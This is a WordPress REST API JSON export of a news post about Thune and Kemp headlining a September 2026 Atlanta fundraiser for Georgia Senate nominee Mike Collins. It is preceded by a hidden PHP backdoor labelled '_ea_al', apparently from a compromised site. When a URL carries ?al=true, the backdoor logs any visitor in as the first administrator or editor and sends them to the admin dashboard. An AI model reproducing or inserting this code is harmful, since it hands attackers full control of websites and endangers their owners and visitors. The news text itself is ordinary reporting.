// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); {"id":27180,"date":"2026-09-17T16:49:58","date_gmt":"2026-09-17T16:49:58","guid":{"rendered":"https:\/\/bluelightnews.com\/category\/politics\/thune-kemp-to-headline-fundraiser-for-georgia-senate-gop-nominee-mike-collins\/"},"modified":"2026-09-17T16:49:58","modified_gmt":"2026-09-17T16:49:58","slug":"thune-kemp-to-headline-fundraiser-for-georgia-senate-gop-nominee-mike-collins","status":"publish","type":"post","link":"https:\/\/bluelightnews.com\/category\/politics\/thune-kemp-to-headline-fundraiser-for-georgia-senate-gop-nominee-mike-collins\/","title":{"rendered":"Thune, Kemp to headline fundraiser for Georgia Senate GOP nominee Mike Collins"},"content":{"rendered":"
\n

Senate Majority Leader John Thune and Georgia Gov. Brian Kemp will headline a fundraiser next week for Rep. Mike Collins, the state\u2019s GOP Senate nominee, according to an invite obtained by Blue Light News.<\/p>\n

The Sept. 24 event will be held in Atlanta, and it comes as public polling shows Collins trailing Democratic incumbent Sen. Jon Ossoff. Republicans have pushed to bring in more financial resources to close the gap in the top battleground.<\/p>\n

Ossoff has repeatedly led Collins in candidate-level fundraising, but the Republican party committees and President Donald Trump\u2019s MAGA Inc. super PAC combined hold a huge fundraising edge over the affiliated Democratic Party\u2019s committees \u2014 which could potentially give Collins a boost.<\/p>\n

The event, billed as a \u201croundtable and reception benefiting\u201d Collins, could be a boon to Georgia Republicans, who have privately worried that party leaders are prioritizing other competitive Senate races<\/a>, including in Michigan and Maine, as they look to defend the upper chamber.<\/p>\n

Thune, as Senate GOP leader, is one of the party\u2019s most prominent fundraisers. Kemp, meanwhile, has strong ties to Georgia and remains a popular figure in the state.<\/p>\n

Collins\u2019 campaign did not immediately respond to a request for comment.<\/p>\n

\u201cThe party is closing ranks behind Mike Collins with two of the strongest fundraisers heading to Atlanta to help him,\u201d said one person close to the Collins campaign, granted anonymity to speak candidly about the dynamics of the race. \u201cThat’s not the sign of a candidate in trouble, it\u2019s the sign of a candidate \u2014 who has closed the race from 13 to 7 points while being outspent \u2014 getting air support to bring this thing home.\u201d<\/p>\n

Kemp \u2014 who initially backed former football coach Derek Dooley in the Senate GOP primary \u2014 endorsed Collins earlier this week.<\/p>\n

The fundraiser will also feature Georgia\u2019s first lady Marty Kemp.<\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"

Senate Majority Leader John Thune and Georgia Gov. Brian Kemp will headline a fundraiser next week for Rep. Mike Collins, the state\u2019s GOP Senate nominee, according to an invite obtained by Blue Light News. The Sept. 24 event will be held in Atlanta, and it comes as public polling shows Collins trailing Democratic incumbent Sen. […]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-27180","post","type-post","status-publish","format-standard","hentry","category-congress"],"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/posts\/27180","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/comments?post=27180"}],"version-history":[{"count":0,"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/posts\/27180\/revisions"}],"wp:attachment":[{"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/media?parent=27180"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/categories?post=27180"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/tags?post=27180"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}